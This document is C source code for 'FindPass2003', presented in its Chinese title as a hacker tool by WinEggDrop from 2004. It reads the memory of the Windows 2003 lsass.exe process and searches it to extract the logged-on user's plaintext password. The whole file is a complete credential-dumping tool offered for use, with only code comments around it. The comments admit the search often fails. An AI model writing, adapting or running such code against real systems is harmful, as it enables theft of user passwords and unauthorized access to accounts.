黑客工具FindPass2003源代码

//********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User Password On 2003 Box,The Method
//          Used Is Pretty Unwise,But This May Be The Only Way To Review The
//          Logon User's Password On Windows 2003.
// Test PlatForm: Windows 2003
// Compiled On: VC++ 6.0
//********************************************************************************
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

#define BaseAddress 0x002b5000        // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable

char  Password[MAX_PATH] = {0};        // Store The Found Password

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL  FindPassword(DWORD PID);
int   Search(char *Buffer,const UINT nSize);
DWORD GetLsassPID();
BOOL  Is2003();
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

int main()
{
 DWORD PID = 0;
 printf("Windows 2003 Password Viewer V1.0 By WinEggDrop/n/n");

 if (!Is2003())        // Check Out If The Box Is 2003
 {
     printf("The Program Can't Only Run On Windows 2003 Platform/n");
     return -1;
 }

 PID = GetLsassPID();        // Get The Lsass.exe PID

 if (PID == 0)        // Fail To Get PID If Returning Zerom
 {
     return -1;
 }

 FindPassword(PID);        // Find The Password From Lsass.exe Memory
 return 0;
}
// End main()

//------------------------------------------------------------------------------------
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:   
//           In: char *Buffer        --> The Memory Buffer To Search    
//          Out: const UINT nSize   --> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure",
//       Since The Password Is Near The Above Location,But It's Not Always True That
//       We Will Find The Magic String,Or Even We Find It,The Password May Be Located
//       At Some Other Place.We Only Look For Luck
//------------------------------------------------------------------------------------
int Search(char *Buffer,const UINT nSize)
{
 UINT OffSet = 0;
 UINT i = 0;
 UINT j = 0 ;
 UINT Count = 0;
 if (Buffer == NULL)
 {
     return -1;
 }
 for (i = 0 ; i < nSize ; i++)
 {
     /* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word
        Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate
        The Magic String,We Have To Do It Manually And Slowly
     */
     if (Buffer[i] == 'L')
     {
         OffSet = 0;
         if (strnicmp(&Buffer[i + OffSet],"LocalSystem",strlen("LocalSystem")) == 0)
         {
             OffSet += strlen("LocalSystem") + 1;
             if (strnicmp(&Buffer[i + OffSet],"Remote",strlen("Remote")) == 0)
             {
                 OffSet += strlen("Remote") + 1;
                 if (strnicmp(&Buffer[i + OffSet],"Procedure",strlen("Procedure")) == 0)
                 {
                     OffSet += strlen("Procedure") + 1;
                     if (strnicmp(&Buffer[i + OffSet],"Call",strlen("Call")) == 0)
                     {
                         i += OffSet;
                         break;
                     }
                 }
             }
         }
     }
 }
 if (i < nSize)
 {
     ZeroMemory(Password,sizeof(Password));
     for (; i < nSize ; i++)
     {
         if (Buffer[i] == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)
         {
             /* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format,So We Will Do It In
             That Way
             */
             j = i + 7;
             for (; j < nSize; j += 2)
             {
                 if (Buffer[j] >  0)
                 {
                     Password[Count++] = Buffer[j];
                 }
                 else
                 {
                     break;
                 }
             }
             return i + 7;        // One Flag To Indicate We Find The Password
         }
     }
 }
 return -1;        // Well,We Fail To Find The Password,And This Always Happens
}
// End Search

//------------------------------------------------------------------------------------
// Purpose: To Get The Lsass.exe PID
// Return Type: DWORD
// Parameters:  None
//------------------------------------------------------------------------------------
DWORD GetLsassPID()
{
 HANDLE hProcessSnap;
 HANDLE hProcess = NULL;
 PROCESSENTRY32 pe32;
 DWORD PID = 0;

 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if( hProcessSnap == INVALID_HANDLE_VALUE )
 {
     printf("Fail To Create Snap Shot/n");
     return 0;
 }

 pe32.dwSize = sizeof(PROCESSENTRY32);

 if( !Process32First(hProcessSnap, &pe32))
 {
     CloseHandle(hProcessSnap);     // Must clean up the snapshot object!
     return 0;
 }

 do
 {
  if (strcmpi(pe32.szExeFile,"Lsass.EXE") == 0)
  {
      PID = pe32.th32ProcessID;
      break;
  }
 }while(Process32Next( hProcessSnap, &pe32));

 CloseHandle( hProcessSnap);
 return PID;
}
// End GetLsassPID()

//------------------------------------------------------------------------------------
// Purpose: To Find The Password
// Return Type: BOOLEAN
// Parameters:  
//           In: DWORD PID        ->        The Lsass.exe's PID
//------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID)
{
 HANDLE hProcess = NULL;
 char   Buffer[5 * 1024] = {0};
 DWORD  ByteGet = 0;
 int    Found = -1;

 hProcess = OpenProcess(PROCESS_VM_READ,FALSE,PID);        // Open Process
 if (hProcess == NULL)
 {
     printf("Fail To Open Process/n");
     return FALSE;
 }

 if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet))        // Read The Memory From Lsass.exe
 {
     printf("Fail To Read Memory/n");
     CloseHandle(hProcess);
     return FALSE;
 }

 CloseHandle(hProcess);
  
 Found = Search(Buffer,ByteGet);        // Search The Password
 if (Found >= 0)        // We May Find The Password
 {
     if (strlen(Password) > 0)        // Yes,We Find The Password Even We Don't Know If The Password Is Correct Or Not
     {
         printf("Found Password At #0x%x -> /"%s/"/n",Found + BaseAddress,Password);
     }
 }
 else
 {
     printf("Fail To Find The Password/n");
 }
 return TRUE;
}
// End FindPassword

//------------------------------------------------------------------------------------
// Purpose: Check If The Box Is Windows 2003
// Return Type: BOOLEAN
// Parameters:  None
//------------------------------------------------------------------------------------
BOOL Is2003()
{
 OSVERSIONINFOEX osvi;
 BOOL b0sVersionInfoEx;
 ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
 osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

 if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))
 {
     osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
 }
 return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);
}
// End Is2003()
// End Of File